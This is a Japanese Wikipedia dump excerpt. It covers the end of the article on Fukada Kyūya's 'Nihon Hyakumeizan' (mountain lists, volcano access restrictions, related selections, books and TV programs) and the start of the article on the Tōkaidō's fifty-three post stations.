|97 || '''[[阿蘇山]]''' || {{smaller|あそさん}} || 1592 || [[阿蘇カルデラ]] || [[熊本県]] || 阿蘇くじゅう国立公園 || [[File:Mt.Aso and caldera01.jpg|70x70px| ]]
|-
|98 || '''[[霧島山]]''' || {{smaller|きりしまやま}} || 1700 || [[えびの高原]] || 宮崎県<br />[[鹿児島県]] || [[霧島錦江湾国立公園]] || [[File:Kirishima volcano 20111125.jpg|70x70px| ]]
|-
|99 || '''[[開聞岳]]''' || {{smaller|かいもんだけ}} || 924 || [[南薩火山群]] || 鹿児島県 || 霧島錦江湾国立公園 || [[File:Kaimondake 2005 3 19.jpg|70x70px| ]]
|-
|100 || '''[[宮之浦岳|宮ノ浦岳]]''' || {{smaller|みやのうらだけ}} || 1936 || [[屋久島]] || 鹿児島県 || [[屋久島国立公園]]<br />鹿児島県の最高峰 || [[File:Mount Miyanoura 20071113 (B) - Flickr.jpg|70x70px| ]]
|}
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{{Module|日本地図|512|
羅臼岳,145.1222/44.0758
斜里岳,144.7178/43.7656
阿寒岳,144.0089/43.3867
利尻山,141.2419/45.1786
大雪山,142.8542/43.6636
トムラウシ山,142.8489/43.5272
十勝岳,142.6864/43.4181
幌尻岳,142.6828/42.7194
後方羊蹄山,140.8114/42.8267
早池峰山,141.4886/39.5586
八甲田山,140.8772/40.6589
八幡平,140.8542/39.9578
岩手山,141.0011/39.8525
岩木山,140.3031/40.6558
鳥海山,140.0489/39.0992
蔵王山,140.4400/38.1436
吾妻山,140.2303/37.7117
安達太良山,140.2878/37.6211
磐梯山,140.0722/37.6008
月山,140.0269/38.5489
朝日岳,139.9222/38.2606
飯豊山,139.7072/37.8547
筑波山,140.1067/36.2253
那須岳,139.9628/37.1247
男体山,139.4908/36.7650
日光白根山,139.3758/36.7986
皇海山,139.3369/36.6900
赤城山,139.1933/36.5603
会津駒ケ岳,139.3536/37.0475
平ケ岳,139.1708/37.0019
燧ケ岳,139.2853/36.9550
至仏山,139.1733/36.9036
武尊山,139.1325/36.8053
魚沼駒ケ岳,139.0753/37.1236
巻機山,138.9642/36.9786
谷川岳,138.9300/36.8372
苗場山,138.6903/36.8458
草津白根山,138.5319/36.6228
四阿山,138.4131/36.5417
浅間山,138.5231/36.4064
両神山,138.8414/36.0233
甲武信ケ岳,138.7289/35.9089
瑞牆山,138.5919/35.8933
金峰山,138.6253/35.8714
雲取山,138.9439/35.8556
大菩薩嶺,138.8456/35.7489
丹沢山,139.1389/35.4864
富士山,138.7275/35.3608
天城山,139.0017/34.8628
雨飾山,137.9625/36.9019
火打山,138.0681/36.9228
妙高山,138.1136/36.8914
黒姫山,138.1272/36.8133
高妻山,138.0519/36.8000
美ケ原,138.1075/36.2258
霧ケ峰,138.1967/36.1031
蓼科山,138.2950/36.1036
八ケ岳,138.3700/35.9708
白馬岳,137.7586/36.7586
五龍岳,137.7528/36.6583
鹿島槍ケ岳,137.7469/36.6244
水晶岳,137.6028/36.4264
鷲羽岳,137.6053/36.4031
剱岳,137.6169/36.6233
立山,137.6197/36.5758
薬師岳,137.5447/36.4689
黒部五郎岳,137.5400/36.3925
常念岳,137.7275/36.3256
槍ケ岳,137.6475/36.3419
穂高岳,137.6481/36.2892
焼岳,137.5869/36.2269
乗鞍岳,137.5536/36.1064
御嶽山,137.4803/35.8928
木曽駒ケ岳,137.8044/35.7894
空木岳,137.8172/35.7189
恵那山,137.5972/35.4436
甲斐駒ケ岳,138.2367/35.7581
鳳凰山,138.3047/35.7017
仙丈ケ岳,138.1836/35.7200
北岳,138.2389/35.6744
間ノ岳,138.2283/35.6461
塩見岳,138.1831/35.5739
悪沢岳,138.1825/35.5008
赤石岳,138.1572/35.4611
聖岳,138.1397/35.4228
光岳,138.0839/35.3381
白山,136.7714/36.1550
荒島岳,136.6014/35.9342
伊吹山,136.4064/35.4178
大台ケ原山,136.1092/34.1853
大峰山,135.9075/34.1736
大山,133.5461/35.3711
剣山,134.0942/33.8536
石鎚山,133.1150/33.7678
九重山,131.2489/33.0858
阿蘇山,131.1039/32.8844
祖母山,131.3469/32.8281
霧島山,130.8617/31.9342
開聞岳,130.5283/31.1800
宮之浦岳,130.5042/30.3361
}} -->
=== 地域ごとの山名一覧 ===
;北海道
{{columns-list|4|
* [[利尻山|利尻岳]]
* [[羅臼岳]]
* [[斜里岳]]
* [[雌阿寒岳|阿寒岳]]
* [[大雪山]]
* [[トムラウシ山|トムラウシ]]
* [[十勝岳]]
* [[幌尻岳]]
* [[羊蹄山|後方羊蹄山]]
}}
;東北・上信越
{{columns-list|4|
* [[岩木山]]
* [[八甲田山]]
* [[八幡平]]
* [[岩手山]]
* [[早池峰山|早池峰]]
* [[鳥海山]]
* [[月山]]
* [[朝日岳 (山形県・新潟県)|朝日岳]]
* [[蔵王連峰|蔵王山]]
* [[飯豊山]]
* [[吾妻山]]
* [[安達太良山]]
* [[磐梯山]]
* [[会津駒ヶ岳]]
* [[越後駒ヶ岳|魚沼駒ヶ岳]]
* [[平ヶ岳 (群馬県・新潟県)|平ヶ岳]]
* [[巻機山]]
* [[燧ヶ岳|燧岳]]
* [[至仏山]]
* [[谷川岳]]
* [[苗場山]]
* [[妙高山]]
* [[火打山]]
* [[雨飾山]]
* [[高妻山]]
}}
;関東
{{columns-list|4|
* [[男体山]]
* [[日光白根山|奥白根山]]
* [[那須岳]]
* [[皇海山]]
* [[武尊山]]
* [[赤城山]]
* [[草津白根山]]
* [[四阿山]]
* [[浅間山]]
* [[筑波山]]
* [[丹沢山]]
* [[両神山]]
* [[雲取山]]
}}
;中部
{{columns-list|4|
* [[白馬岳]]
* [[五竜岳]]
* [[鹿島槍ヶ岳|鹿島槍岳]]
* [[剱岳]]
* [[立山]]
* [[薬師岳]]
* [[黒部五郎岳]]
* [[水晶岳|黒岳]]
* [[鷲羽岳]]
* [[槍ヶ岳]]
* [[穂高岳]]
* [[常念岳]]
* [[笠ヶ岳]]
* [[焼岳]]
* [[乗鞍岳]]
* [[御嶽山]]
* [[美ヶ原]]
* [[霧ヶ峰]]
* [[蓼科山]]
* [[八ヶ岳]]
* [[木曽駒ヶ岳|木曾駒ヶ岳]]
* [[空木岳]]
* [[恵那山]]
* [[甲斐駒ヶ岳]]
* [[仙丈ヶ岳|仙丈岳]]
* [[鳳凰山]]
* [[北岳]]
* [[間ノ岳]]
* [[塩見岳]]
* [[荒川岳|悪沢岳]]
* [[赤石岳]]
* [[聖岳]]
* [[光岳]]
* [[白山]]
* [[荒島岳]]
* [[甲武信ヶ岳|甲武信岳]]
* [[金峰山 (山梨県・長野県)|金峰山]]
* [[瑞牆山]]
* [[大菩薩嶺|大菩薩岳]]
* [[富士山 (代表的なトピック)|富士山]]
* [[天城山]]
}}
;西日本
{{columns-list|4|
* [[伊吹山]]
* [[大台ヶ原山]]
* [[大峰山]]
* [[大山 (鳥取県)|大山]]
* [[剣山]]
* [[石鎚山]]
* [[九重山]]
* [[祖母山]]
* [[阿蘇山]]
* [[霧島山]]
* [[開聞岳]]
* [[宮之浦岳|宮ノ浦岳]]
}}
=== 登山規制情報 ===
* '''草津白根山''' - ランクBの活火山であり、2007年12月1日より[[噴火警戒レベル]]が設定されている。2014年6月3日に気象庁は火口周辺警報を発表、噴火警戒レベルを「レベル2(火口周辺規制)」とし、湯釜火口から1 km以内を立入禁止とした<ref>{{Cite web|和書|url=https://www.data.jma.go.jp/svd/vois/data/tokyo/STOCK/level/Kusatsu-Shiranesan.pdf |title=草津白根山の噴火警戒レベル |publisher=[[気象庁]] |accessdate=2015-5-20 |format=PDF }}</ref>。
* '''浅間山''' - ランクAの[[活火山]]であり、山頂周辺(2010年4月以降は、火口から500 [[メートル|m]]以内)への立入りが禁止されていて、火山活動に応じて禁止区域が変更されている<ref>{{Cite web|和書|url=http://www.city.komoro.nagano.jp/www/contents/1233531142855/index.html |title=浅間山登山規制のお知らせ |publisher=[[小諸市]] |accessdate=2011-10-26}}</ref>。
* '''焼岳''' - ランクBの活火山であり、[[1991年]](平成3年)に北峰への登山規制が緩和されたが<ref>{{Cite web|和書|url=http://www8.shinmai.co.jp/yama/guide/00018.html |title=信州山岳ガイド・焼岳 |publisher=信濃毎日新聞 |accessdate=2011-10-26}}</ref>、最高点の南峰への立入りは[[火山ガス]]や崩落の危険があるため立入りが禁止されている<ref>{{Cite book |和書 |year=2010 |month=03 |title=槍ヶ岳・穂高岳 上高地 |series=[[山と高原地図]]37 |publisher=[[昭文社]] |isbn=9784398757173}}</ref>。
* '''御嶽山''' - ランクBの活火山であり、2014年9月27日の噴火に伴い、噴火警戒レベルは「レベル1(平常)」から「レベル3(入山規制)」に引き上げられており、火口から居住域近くまでの入山が規制されている<ref>{{Cite web|和書|url=https://www.data.jma.go.jp/svd/vois/data/tokyo/STOCK/level/Ontakesan.pdf |title=御嶽山の噴火警戒レベル |publisher=[[気象庁]] |accessdate=2015-5-20 |format=PDF }}</ref>。
* '''大山 (鳥取県)''' - 稜線の崩落が激しくカミソリ状になっており、登山道は弥山までで剣ヶ峰を含む縦走路は立ち入り禁止となっている。(詳細は当該項目を参照)
* '''阿蘇山''' - ランクAの活火山であり、西火口への立入り規制がある<ref>{{Cite web|和書|url=http://www.aso.ne.jp/~volcano/ |title=阿蘇火山西火口規制情報 |publisher=阿蘇火山防災会議協議会 |accessdate=2011-10-26}}</ref>。
* '''霧島山''' - 構成する[[御鉢]]、[[新燃岳]]の山は噴火警戒レベルに応じて、立入り規制が行われている<ref>{{Cite web|和書|url=http://www.city-kirishima.jp/modules/page060/index.php?id=13 |title=霧島山に関する規制状況 |publisher=[[霧島市]] |accessdate=2011-10-26}}</ref>。
== 他の百名山 ==
昨今では様々な“名山”が選定されたり、書籍・冊子として刊行されたりするようになった(数は百ちょうどとは限らない)。以下にその例を挙げる。
* '''日本三百名山''' - 日本山岳会の『山日記』編集メンバーによって1978年に選定された。ここで選定されたのは200の山で、それに深田久弥の百名山を加えて300としている。
{{main|日本三百名山}}
* '''日本二百名山''' - 深田久弥のファン組織である「深田クラブ」によって、同クラブ創立10周年を記念して[[1984年]]に選定された。三百名山のうち深田選でない二百座から百を選び深田の百名山と合わせて二百とする、というコンセプトであるが、最終的に三百名山に含まない奥只見の[[荒沢岳]]が加えられた。
{{main|日本二百名山}}
* '''花の百名山''' - 作家である[[田中澄江]]の『花の百名山』に掲載された100の山。深田久弥の百名山と重複するのは39座のみである。その後、『[[新・花の百名山]]』も刊行されている。
{{main|花の百名山}}
この他に、[[北海道百名山]]、[[東北百名山]]、[[うつくしま百名山]]、[[山梨百名山]]、[[関西百名山]]、[[四国百名山]]、[[九州百名山]]など各地の百名山、[[岩崎元郎]]選の「[[新日本百名山]]」、[[小林泰彦]]選の「日本百低山」などもある。飛騨山岳会では創立100周年を記念して[[2008年]][[9月]]、『飛騨百山』を出版した<ref name="Hida">{{Cite web|和書|url=http://www.museum-hida.jp/sanpo/images/Pdf-22/p14-15.pdf |title=ふるさとの山 飛騨百山マップ |format=PDF |publisher=飛騨山岳会 |accessdate=2011-10-26}}</ref>。他にも下表に示す地元の[[地方公共団体|自治体]]、山岳会、[[出版社]]及び[[新聞社]]が選定した各県や地方の百名山などがある。2002年には、山岳[[写真家]]の[[白川義員]]が中心となり『[[白川義員#世界百名山|世界百名山]]』を選定した<ref name="w100">{{Cite web|和書|url=http://www.yoshikazu-shirakawa.com/works/work09.html |title=世界百名山 |publisher=白川義員 |accessdate=2011-10-26}}</ref>。
=== 日本全国の百名山 ===
日本全国の百名山が複数あり、特に読売文学賞を受賞した深田久弥の『日本百名山』はよく知られている。
{| class="wikitable" style="text-align: left;font-size:small"
|-
! 名称<br />
! 選定者<br />
! 選定時期<br />
! 備考<br />
|- style="background-color:#ccc"
| '''日本百名山'''
| [[深田久弥]]
| 1964年
| 第16回[[読売文学賞]](評論・伝記賞)を受賞
|-
| [[日本二百名山]]
| 深田クラブ
| 1984年
| 日本三百名山から99山を選択して、[[荒沢岳]]を追加した
|-
| [[日本三百名山]]
| [[日本山岳会]]
| 1978年
| 日本百名山に200山を追加した
|-
| [[新日本百名山]]
| [[岩崎元郎]]
| 2006年
| 中高年が登り易い山という点を加味して選定
|-
| [[花の百名山]]
| [[田中澄江]]
| 1980年
| 山の[[高山植物|花]]を中心として選定<br />第32回読売文学賞(随筆・紀行賞)を受賞
|-
| [[新・花の百名山]]
| 田中澄江
| 1995年
| 花の百名山を発表の15年後に、新たに選定
|-
| [[一等三角点百名山]]
|一等三角点研究会
|
|
|-
| [[しま山百選]]
| 日本[[離島]]センター
| 2017年
| 離島の[[観光]]振興のため、[[礼文岳]]([[礼文島]])から宇良部岳([[与那国島]])までを紹介
|-
|}
=== 日本各地の百名山など ===
{| class="wikitable" style="text-align: left;font-size:small"
|-
! 名称<br />
! 選定者<br />
! 選定時期<br />
! 備考<br />
|-
| [[北海道百名山]]
| [[山と溪谷社]]
| 1993年
| 『[[北海道の百名山]]』[[道新スポーツ]](2000年)
|-
| [[あおもり110山]]
| [[東奥日報]]
| 1999年
| <ref>{{Cite book |和書 |author=村上義千代 |date=1999-10 |title=あおもり110山 |publisher=東奥日報 |isbn=4885610486}}</ref><ref>{{Cite web|和書|url=http://www.toonippo.co.jp/photo_studio/110mountains/ |title=あおもり110山 |publisher=東奥日報 |accessdate=2012-09-22}} - 1997年8月2日から1999年9月25日まで東奥日報の朝刊紙面で掲載。</ref>
|-
| [[東北百名山]]
| 東北山岳写真家集団
| 1990年
| 2000年に10山入替え
|-
| [[やまがた百名山]]
| やまがた百名山選定委員会
| 2017年
|
|-
| [[うつくしま百名山]]
| [[福島テレビ]]
| 1998年
| 選定委員長は[[田部井淳子]]
|-
| [[会津百名山]]
| 会津百名山選考委員会
| 1998年
|
|-
| [[甲信越百名山]]
| 山と溪谷社
| 2000年
|
|-
| [[越後百山]]
| [[日本山岳会]]越後支部
| 1989年
|
|-
| [[関東百名山]]
| 山と溪谷社
| 1993年
|
|-
| [[栃木百名山]]
| [[下野新聞社]]
| 2004年
|
|-
| [[ぐんま百名山]]
| [[群馬県]]
| 1993年
| <ref>{{Cite web|和書|url=http://www.jomonet.co.jp/100meizan/ |title=ぐんま百名山 |publisher=[[上毛新聞]] |accessdate=2011-10-26}}</ref>
|-
| [[信州百名山#信州百山|信州百山]]
| [[信濃毎日新聞社]]
| 1970年
|
|-
| [[信州ふるさと120山]]
| 長野県山岳協会
| 2011年
|[[平成の大合併]]前の旧120市町村ごと120座<ref>{{Cite book |和書 |year=2011 |month=11 |title=信州ふるさと120山 |editor=長野県山岳協会120山委員会 |publisher=[[信濃毎日新聞社]] |isbn=9784784071821}}</ref>
|-
| [[山梨百名山]]
| [[山梨県]]
| 1997年
|<ref>{{Cite web|和書|url=http://www.yamanashi-kankou.jp/nature/hyakumeizan/index.html|title=山梨百名山 |publisher=富士の国やまなし観光ネット |accessdate=2011-11-28}}</ref>
|-
| [[東海の百山]]
| [[静岡新聞]]
| 2000年
|
|-
| [[静岡の百山]]
| 静岡百山研究会
| 1991年
|
|-
| [[ぎふ百山]]
| 岐阜県山岳連盟
| 1975年
| 120山、ぎふ百山(続)の130山を1993年に追加
|-
| [[飛騨百山]]
| 飛騨山岳会
| 2008年
| <ref name="Hida" />
|-
| [[富山の百山]]
| 富山県山岳連盟
| 2013年6月
| 富山県山岳連盟 創立65周年記念事業
|-
| [[関西百名山]]
| 山と溪谷社大阪支局
| 1998年
| 『近畿百名山』(近畿山岳愛好会 1976年)と68山が重複
|-
| [[大阪50山]]
| [[大阪府]]山岳連盟
| 2002年
|
|-
| [[ふるさと兵庫50山]]
| [[兵庫県]]山岳連盟
| 1998年
|2009年7月には『[[ふるさと兵庫100山]]』が出版された<ref>{{Cite book |和書 |year=2009 |month=07 |title=ふるさと兵庫100山 |editor=兵庫県山岳連盟 |publisher=[[神戸新聞社]] |isbn=9784343005236}}</ref>
|-
| [[奈良百遊山]]
| [[奈良県]]健康推進課
| 2003年
|
|-
| | [[中国百名山]]
| 山と溪谷社大阪支局
| 2000年
|
|-
| [[ひろしま百山]]
| 広島山岳連盟
| 1998年
|
|-
| [[四国百名山]]
| 山と溪谷社大阪支局
| 2000年
| 『四国百山』([[高知新聞社]] 1999年)と75山が重複
|-
| [[九州百名山]]
| 山と溪谷社
| 2002年
| 2002年改訂
|-
| [[大分百山]]
| 日本山岳会東九州支部
| 1980年
|
|-
| [[世界百名山]]
| [[白川義員]]ら
| 2002年
| <ref name="w100" /><ref>{{Cite book |和書 |year=2007 |month=08 |author=白川義員 |title=白川義員 愛蔵版 世界百名山 |publisher=[[小学館]] |isbn=9784096811559}}</ref>
|}
== 書誌・関連書籍 == <!-- 出版年月順に記載 -->
『日本百名山』の本は多数重版され、改版や新装版も出版されている。深田久弥自身の著書の他に、深田久弥に関するものや、日本百名山のすべての山を解説する登山ガイド本などが多数出版されている。他にも、[[セルビデオ|ビデオ]]・[[DVD]]なども、多数出版されている。
=== 深田久弥自身の著書 ===
* {{Cite book |和書 |author=深田久弥 |year=1964 |month= |title=日本百名山 |publisher=[[新潮社]] |ref=日本百名山(1964)}}[[ASIN]] B000JAFKT2、改訂新装1991年。ISBN 4103184051
**『日本百名山』[[新潮文庫]] 1978年、ASIN B000J8KTOU/改版2003年4月。ISBN 4101220026
* {{Cite book |和書 |author=深田久弥 |year=1974 |month= |title=日本百名山 |series=山の文学全集5 |publisher=[[朝日新聞社]](全12巻)}}ASIN B000J99R7Y
** {{Cite book |和書 |author=深田久弥 |year=1982 |month= |title=日本百名山 |series=山の文庫1 |publisher=[[朝日文庫]](全6巻)}}ASIN B000J7N024
* {{Cite book |和書 |author=深田久弥 |year=1971 |month= |title=山頂の憩い |series=|publisher=[[新潮社]] |ref=山頂の憩い}}
**『山頂の憩い』朝日文庫〈山の文庫6〉、1982年。
**『山頂の憩い 「日本百名山」その後』新潮文庫、2000年4月。ISBN 4101220034
*深田勝弥解説『山の詞華集 深田久弥『日本百名山』から』冬花社、2022年11月。ISBN 4908004463
=== 深田久弥以外の著書 ===
* {{Cite book |和書 |author=田沢拓也 |year=2002 |month=02 |title=百名山の人 深田久弥伝 |publisher=[[阪急コミュニケーションズ]] |isbn=4484022036}}
** {{Cite book |和書 |author=田沢拓也 |year=2005 |month=03 |title=百名山の人 深田久弥伝 |publisher=角川文庫 |isbn=4043689020}}
* {{Cite book |和書 |author=安宅夏夫 |year=2004 |month=04 |title=日本百名山の背景 深田久弥 二つの愛 |publisher=[[集英社|集英社新書]] |isbn=4087201368 |ref=日本百名山の背景深田久弥二つの愛}}
* {{Cite book |和書 |author=高辻謙輔 |year=2004 |month=11 |title=日本百名山と深田久弥 |publisher=白山書房|isbn=4894750899 |ref=日本百名山と深田久弥}}
* {{Cite book |和書 |author=加藤久晴 |year=2005 |month=06 |title=新・傷だらけの百名山 |publisher=[[新風舎]] |isbn=4797497327 |ref=新・傷だらけの百名山}}
* {{Cite book |和書 |author=石井光造 |year=2008 |month=07 |title=脱百名山登山学 |publisher=白山書房 |isbn=9784894751217 |ref=脱百名山登山学}}
=== 紀行文・登山解説書 ===
* {{Cite book |和書 |author=クレイグ・マクラクラン |translator=橋本恵 |year=1997 |month=07 |title=ニッポン百名山よじ登り |publisher=[[小学館文庫]] |isbn=4094111522 |ref=クレイグ・マクラクラン}}
* {{Cite book |和書 |year=1998 |month=12 |title=日本百名山登山案内 |publisher=[[山と渓谷|山と溪谷社]] |isbn=4635530175 |ref=登山案内}}
* {{Cite book |和書 |author=高橋秀男 監修|authorlink=高橋秀男 |year=2001 |month=06 |title=深田久弥の日本百名山花ガイド 別冊家庭画報 |publisher=[[世界文化社]] |isbn=978-4418011179}}
* {{Cite book |和書 |author=桜田隆範 |year=2007 |month=06 |title=切手と風景印でたどる百名山 |publisher=ふくろう舎 |isbn=9784898062760}}
* {{Cite book |和書 |year=2008 |month=08 |title=日本百名山地図帳 |publisher=[[山と溪谷社]] |isbn=9784635530552}}
* {{Cite book |和書 |year=2011 |month=07 |title=鳥瞰図で楽しむ日本百名山 |publisher=成美堂出版社 |isbn=9784415310695}}
=== 翻訳 ===
trans. by Martin Hood ''One Hundred Mountains of Japan'' ([[:en:University of Hawaii Press|University of Hawaii Press]] 2014)
== テレビ番組 ==
; 『日本百名山』<ref>{{Cite web|和書|url=http://nhk.jp/chronicle/?B10001200999404050130149&n=1&q=%E7%99%BE%E5%90%8D%E5%B1%B1&o=1&np=20&or=d|title=NHKアーカイブス保存番組詳細(1994年4月5日放送・『日本百名山』八ヶ岳)|publisher=NHK |accessdate=2013-04-25}}</ref>
: [[NHK衛星第2テレビジョン]]の番組。1994年4月5日に八ヶ岳からスタート。ナレーションは[[相川浩]]。
; 『花の百名山』<ref>{{Cite web|和書|url=http://nhk.jp/chronicle/?B10001200999504030130142&n=0&q=%E8%8A%B1%E3%81%AE%E7%99%BE%E5%90%8D%E5%B1%B1&o=1&np=20&or=d|title=NHKアーカイブス保存番組詳細(1995年4月3日放送・『花の百名山』)|publisher=NHK |accessdate=2013-04-25}}</ref>
: [[NHK衛星第2テレビジョン]]の番組。1995年4月3日にスタート。ナレーションは[[渡辺美佐子]]。
; 趣味悠々『中高年のための登山学~日本百名山をめざす』<ref>{{Cite web|和書|url=http://nhk.jp/chronicle/?B10001200999707030130261&n=14&q=%E4%B8%AD%E9%AB%98%E5%B9%B4%E3%81%AE%E3%81%9F%E3%82%81%E3%81%AE%E7%99%BB%E5%B1%B1%E5%AD%A6&o=1&np=20&or=d|title=NHKアーカイブス保存番組詳細(1997年7月3日放送・趣味悠々『中高年のための登山入門〜日本百名山をめざす』開聞岳)|publisher=NHK |accessdate=2013-04-25}}</ref>
: [[NHK教育テレビジョン]]の番組。第1シリーズは[[1997年]]7月3日に開聞岳からスタート。第2シリーズは1998年9月7日に雲取山からスタート。講師は岩崎元郎。司会は[[山内賢]]。
: なお、前シリーズとして講師・[[岩崎元郎]]、司会・[[みなみらんぼう]]による[[趣味百科]]『中高年のための登山学』があるが登山の基礎を扱ったもので日本百名山を扱ったものではない<ref>{{Cite web|和書|url=http://nhk.jp/chronicle/?B10001200999507040130192&n=0&q=%E4%B8%AD%E9%AB%98%E5%B9%B4%E3%81%AE%E3%81%9F%E3%82%81%E3%81%AE%E7%99%BB%E5%B1%B1%E5%AD%A6&o=1&np=20&or=d|title=NHKアーカイブス保存番組詳細(1995年7月4日放送・趣味百科『中高年のための登山学』山は別世界)|publisher=NHK |accessdate=2013-04-25}}</ref>。
; 『[[にっぽん百名山]]』
: [[NHK BSプレミアム]]の番組。[[2012年]]7月2日に大台ケ原山からスタート。
; 『絶景百名山』
: [[BSフジ]]の番組。2010年11月19日の「穂高岳・秋」でスタート。
; 『百名山温泉紀行』
: [[BSフジ]]の番組。
; 『グレートトラバース 〜日本百名山一筆書き踏破〜』<ref>[https://www2.nhk.or.jp/archives/movies/?id=D0009050378_00000 グレートトラバース - NHK名作選(動画・静止画) NHKアーカイブス]</ref>
: [[NHK BSプレミアム]]の番組。プロアドベンチャーレーサーの[[田中陽希]]が、屋久島・宮之浦岳からスタートし、北海道・利尻島の利尻岳まで総移動距離7800 km、累積標高100 kmを、およそ200日間で踏破することを目指す。その間の移動は、一切交通機関を使わず、自分の脚とカヤックだけで行う。
; 『深田久弥の日本百名山』
: [[1994年]](平成6年)から翌年にかけて[[NHK衛星第2テレビジョン]]のテレビ番組で、映像と深田の文章を交えて一山につき10分ずつ全山が紹介された<ref>[https://www2.nhk.or.jp/archives/movies/?id=D0009010409_00000 深田久弥の日本百名山 NHK名作選(動画・静止画) NHKアーカイブス]</ref>。
; [[趣味百科]]『中高年のための登山学』
: [[1995年]]に[[岩崎元郎]]・[[みなみらんぼう]]によるが放映された<ref>{{Cite web|和書|url=http://nhk.jp/chronicle/?B10001200999507040130192&n=0&q=%E4%B8%AD%E9%AB%98%E5%B9%B4%E3%81%AE%E3%81%9F%E3%82%81%E3%81%AE%E7%99%BB%E5%B1%B1%E5%AD%A6&o=1&np=20&or=d|title=NHKアーカイブス保存番組詳細(1995年7月4日放送・趣味百科『中高年のための登山学』山は別世界)|publisher=NHK |accessdate=2013-04-25}}</ref>。
; [[趣味悠々]]『中高年のための登山入門〜日本百名山をめざす』
: [[1997年]]続編として岩崎元郎・[[山内賢]]による放映され<ref>{{Cite web|和書|url=http://nhk.jp/chronicle/?B10001200999707030130261&n=14&q=%E4%B8%AD%E9%AB%98%E5%B9%B4%E3%81%AE%E3%81%9F%E3%82%81%E3%81%AE%E7%99%BB%E5%B1%B1%E5%AD%A6&o=1&np=20&or=d|title=NHKアーカイブス保存番組詳細(1997年7月3日放送・趣味悠々『中高年のための登山入門〜日本百名山をめざす』開聞岳)|publisher=NHK |accessdate=2013-04-25}}</ref>、中高年登山者を中心に、さらにブームを拡大する契機となった。
; 『[[にっぽん百名山]]』
: [[2012年]]7月2日から[[NHK BSプレミアム]]のテレビ番組で、日本百名山の登山を主題とする紀行番組が放送された。
== 脚注 ==
{{脚注ヘルプ}}
=== 注釈 ===
{{Reflist|group="注釈"}}
=== 出典 ===
{{Reflist|2}}
<!-- == 参考文献 == -->
== 関連項目 ==
{{Commons|Category:100 Famous Japanese Mountains}}
* [[日本百名谷]]
* [[世界百名山]]
== 外部リンク ==
* {{Wayback|url=http://www.47news.jp/localnews/mountain/column/hyakumeisan_ichiran.php |title=手作り百名山 - 山への誘い 47NEWS(よんななニュース) |date=20090403051844}}
* [https://tenki.jp/mountain/ 登山天気 日本百名山(日本気象協会)]
* [http://www.uhpress.hawaii.edu/p-9224-9780824836771.aspx One Hundred Mountains of Japan(English translation)]
{{日本百名山}}
{{百名山一覧}}
{{DEFAULTSORT:にほんひやくめいさん}}
[[Category:日本百名山|*]]
[[Category:百名山]]
[[Category:日本の景観一覧|ひやくめいさん]]
[[Category:日本の随筆]]
[[Category:雑誌記事]]
[[Category:登山を題材とした作品]] | 2003-04-14T15:42:01Z | 2023-11-23T07:44:04Z | false | false | false | [
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| https://ja.wikipedia.org/wiki/%E6%97%A5%E6%9C%AC%E7%99%BE%E5%90%8D%E5%B1%B1 |
6,743 | 東海道五十三次 | 東海道五十三次()は、江戸時代に整備された五街道の一つ、東海道にある53の宿場を指す。古来、道中には風光明媚な場所や有名な名所旧跡が多く、浮世絵や和歌・俳句の題材にもしばしば取り上げられた。
なお、昭和になって京都から先の大坂(伏見、淀、枚方、守口)までを加えて東海道五十七次と唱えることもある 。
また、奈良時代の律令制による東海道では、延喜式によると、伊勢の鈴鹿駅から常陸の雄薩(おさか)駅まで55駅が設置されている。 道標に、一里塚(東海道の一里塚一覧)が、江戸幕府の参勤交代のため、各宿場に本陣(旅籠)、脇本陣(旅籠)が指定された。
数は品川宿からの通し番号である。江戸と京の間は里程124里8丁、487.8キロメートル (km)。
東海道五十三次には、旅籠が全部で3000軒近くあったといわれ、宿場ごとによってその数は著しい差があった。人口の多い江戸や京都周辺や、箱根峠や七里の渡しなど、交通難所を控えた宿場も多かった。特に旅籠の数が多かった宿場は、七里の渡しの港があった宮宿(熱田宿)が247軒とその数は群を抜き、その対岸の桑名宿も120軒あった。宮宿は旅籠の数では、東海道はもとより日本一大きな宿場町であった。他に100軒を超えたのは、岡崎宿の112軒である。箱根八里の東麓に位置する小田原宿は95軒、西麓の三島宿にも74軒の旅籠があり、その手前の大磯宿(66軒)、平塚宿(54軒)、藤沢宿(45軒)と比べると多かった。このほか旅籠の多い宿場は、品川宿(93軒)、川崎宿(72軒)、戸塚宿(75軒)、浜松宿(94軒)、四日市宿(98軒)、草津宿(72軒)、大津宿(71軒)があった。
東海道の延長線として、元和5年(1619年)に設置された京街道 (大坂街道)の宿場を含めて東海道五十七次と呼ぶことを、近年広めることにより街づくりに貢献している。(2021年現在の国道1号である)
数は品川宿からの通し番号である。 | [
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| 東海道五十三次は、江戸時代に整備された五街道の一つ、東海道にある53の宿場を指す。古来、道中には風光明媚な場所や有名な名所旧跡が多く、浮世絵や和歌・俳句の題材にもしばしば取り上げられた。 なお、昭和になって京都から先の大坂(伏見、淀、枚方、守口)までを加えて東海道五十七次と唱えることもある。 また、奈良時代の律令制による東海道では、延喜式によると、伊勢の鈴鹿駅から常陸の雄薩(おさか)駅まで55駅が設置されている。
道標に、一里塚(東海道の一里塚一覧)が、江戸幕府の参勤交代のため、各宿場に本陣(旅籠)、脇本陣(旅籠)が指定された。 | {{Otheruses|[[江戸時代]]の[[宿場]]|その他}}
{{単一の出典|date=2021年10月}}
[[ファイル:Hiroshige le pont Nihonbashi à l'aube.jpg|300px|right|thumb|[[歌川広重]][[東海道五十三次 (浮世絵)|『東海道五十三次』]]より「[[日本橋 (東京都中央区の橋)|日本橋]]」]]
{{読み仮名|'''東海道五十三次'''|とうかいどうごじゅうさんつぎ}}は、[[江戸時代]]に整備された[[五街道]]の一つ、[[東海道]]にある53の[[宿場]]を指す。古来、道中には風光明媚な場所や有名な名所旧跡が多く、[[浮世絵]]や[[和歌]]・[[俳句]]の題材にもしばしば取り上げられた。
なお、昭和になって[[京都]]から先の[[大坂]](伏見、淀、枚方、守口)までを加えて[[東海道五十七次]]と唱えることもある <ref group="注釈">「東海道は品川宿より守口宿」(幕府道中奉行所御勘定 谷金十郎、宝暦8年(1758年))</ref><ref group="注釈">「東海道と申すは、熱田より上方は、伊勢路、近江路を通り伏見、淀、牧方、守口迄外はこれ無き」(土佐藩から問いに対する幕府大目付勘定奉行からの回答、寛政元年1789年)</ref>{{信頼性要検証|date=2021-10}}。
また、[[奈良時代]]の律令制による東海道では、延喜式によると、伊勢の鈴鹿駅から常陸の雄薩(おさか)駅まで55駅が設置されている。
[[道標]]に、[[一里塚]]([[東海道の一里塚一覧]])が、[[江戸幕府]]の[[参勤交代]]のため、各[[宿場]]に[[本陣]]([[旅籠]])、[[脇本陣]]([[旅籠]])が指定された。
